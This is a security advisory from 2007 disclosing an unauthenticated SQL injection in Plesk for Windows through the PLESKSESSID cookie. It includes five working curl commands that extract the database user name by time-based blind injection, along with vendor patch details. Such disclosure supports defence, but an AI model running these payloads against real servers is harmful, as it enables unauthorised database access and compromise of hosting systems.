RE: ScanAlert Security Advisory

HackerSafe Labs - Security Advisory
http://www.hackersafelabs.com

SWsoft Plesk for Windows - SQL Injection Vulnerability

Date: 9-11-07
Vendor: www.swsoft.com
Package: Plesk for Windows
Versions: v7.6.1, v8.1.0, v8.1.1, v8.2.0
Vendor Demo: https://plesk8.1win.demo.swsoft.com:8443/login.php3
Credit: Nick I Merritt

Risk:
Related Exploit Range: Remote
Attack Complexity: Medium
Level of Authentication Needed: Not Required
Confidentiality Impact: Major
Integrity Impact: Major
Availability Impact: Major

Overview:
SWsoft Plesk is a comprehensive control panel solution used by leading
hosting providers worldwide for shared, virtual and dedicated hosting.

Vulnerability:
A SQL injection vulnerability exists in the Plesk application. Please
see the following:

SQL Injection Page 1: "login.php3"
SQL Injection Page 2: "auth.php3"
SQL Injection Cookie Parameter: "PLESKSESSID"

Example: (Will extract the database user)

1) Delay=5224.3877
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,1,1)=char(97),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

2) Delay=5165.3031
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,2,1)=char(100),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

3) Delay=5158.9512
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,3,1)=char(109),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

4) Delay=5224.0980
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,4,1)=char(105),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

5) Delay=5241.5251
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,5,1)=char(110),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

Solution: Apply the following patches - http://kb.swsoft.com/en/2159